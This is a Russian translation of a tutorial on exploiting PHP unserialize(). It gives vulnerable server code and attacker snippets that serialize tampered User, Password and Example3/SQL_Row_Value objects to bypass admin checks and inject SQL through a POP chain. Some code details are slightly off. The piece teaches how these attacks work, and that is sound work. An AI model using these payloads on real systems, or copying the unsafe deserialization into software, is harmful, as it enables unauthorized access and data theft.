Обход аутентификации и внедрение SQL-кода через unserialize() в PHP

Сериализация в PHP через метод unserialize() приводит к появлению уязвимостей, открывающих через RCE (удаленное выполнение кода) доступ для хакеров. Даже при отсутствии RCE существует вероятность обхода системы аутентификации и внедрения SQL-кода.

Обход механизма аутентификации

Уязвимости unserialize() часто используются для обхода проверки безопасности приложения. Есть два способа реализации. Первый заключается в управлении свойствами объекта, чтобы получить контроль доступа. Второй способ  —  манипуляции с типами. Оба метода основаны на том, что конечный пользователь может управлять переданным в функцию объектом.

Управление свойствами объекта

Это один из самых простых и распространенных способов использования уязвимости десериализации для обхода аутентификации.

class User{
  public $username = "vickie";
  public $type = "Regular User";
  # еще PHP код
}

Предположим, приложение использует класс User для передачи личной информации в процессе регистрации. После заполнения формы пользователем, эти данные будут сообщены во внутреннюю базу через сериализованный объект User.

Так как у конечного пользователя есть право на управление объектом User, он может изменить характеристики объекта и зарегистрироваться как пользователь с правами администратора.

class User{
  public $username = "vickie";
  public $type = "Admin User";
  # еще немного PHP кода
}

Манипулирование типами переменных

Еще один простой способ взлома, основанный на функции манипуляции типами в PHP. В качестве примера рассмотрим код, используемый для входа в систему под именем администратора:

parse_str($_POST['user_password'], $password_array);
$pw = unserialize($password_array[0]);
if ($pw->password == "Admin_Password") 
{login_as_admin();}

Хакер может отправить запрос POST, чтобы войти как админ:

class Password{
  public $password = 0;
  # и еще PHP код
}
# строка принята как тело POST:
print urlencode(serialize(new Password));

Это сработает, так как ответом на (0 == “Admin_Password”) будет true. При сравнении разных типов данных в PHP запускается процесс сведения их к одному типу. Следовательно, “Admin_Password” превратится в 0. И выражение станет эквивалентным (0 == 0).

SQL-инъекция

При определенных условиях уязвимости unserialize() могут быть использованы для внедрения SQL-кода.

Использование POP-цепочек

Предположим, где-то в коде приложение определяет класс Example3 и десериализует нефильтрованный пользовательский ввод из данных POST.

class Example3
{
   protected $obj;

   function __construct()
   {
      // PHP код...
   }

   function __toString()
   {
      if (isset($this->obj)) return $this->obj->getValue();
   }
}

// немного PHP кода...

$user_data = unserialize($_POST['data']);

// еще чуть-чуть PHP кода...

__toString()  —  это магический метод, вызываемый каждый раз, когда класс рассматривается как строка. В таком случае Example3 обрабатывается как строка, и в результате метода getValue() возвращается свойство $obj.

Предположим, в приложении также определен класс SQL_Row_Value с методом getValue(), который выполняет SQL запрос. Запрос получает данные из свойства $_table экземпляра SQL_Row_Value.

class SQL_Row_Value
{
   private $_table;

   // немного PHP кода...

   function getValue($id)
   {
      $sql = "SELECT * FROM {$this->_table} WHERE id = " . (int)$id;
      $result = mysql_query($sql, $DBFactory::getConnection());
      $row = mysql_fetch_assoc($result);

      return $row['value'];

Хакер может внедрить SQL-код, используя $obj в Example3: нижеследующий код создаст экземпляр Example3 с $obj, где значение $_table в SQL_Row_Value будет определено как строка “SQL Injection”.

class SQL_Row_Value
{
   private $_table = "SQL Injection";
}

class Example3
{
   protected $obj;

   function __construct()
   {
      $this->obj = new SQL_Row_Value;
   }
}

print urlencode(serialize(new Example3));

Всякий раз, когда этот экземпляр обрабатывается как строка, вызывается метод get_Value() в $obj. То есть для SQL_Row_Value этот метод будет выполняться со строкой “SQL Injection”.

Таким образом, хакер реализовал ограниченное внедрение SQL-кода, поскольку он может контролировать строку, переданную в SQL запрос "SELECT * FROM {$this->_table} WHERE id = ". (int)$id;

Читайте также:


Перевод статьи Vickie Li: Diving into unserialize(): More than RCE

Предыдущая статьяЭффективное использование ESLint
Следующая статьяТерминал: 3 команды для продуктивности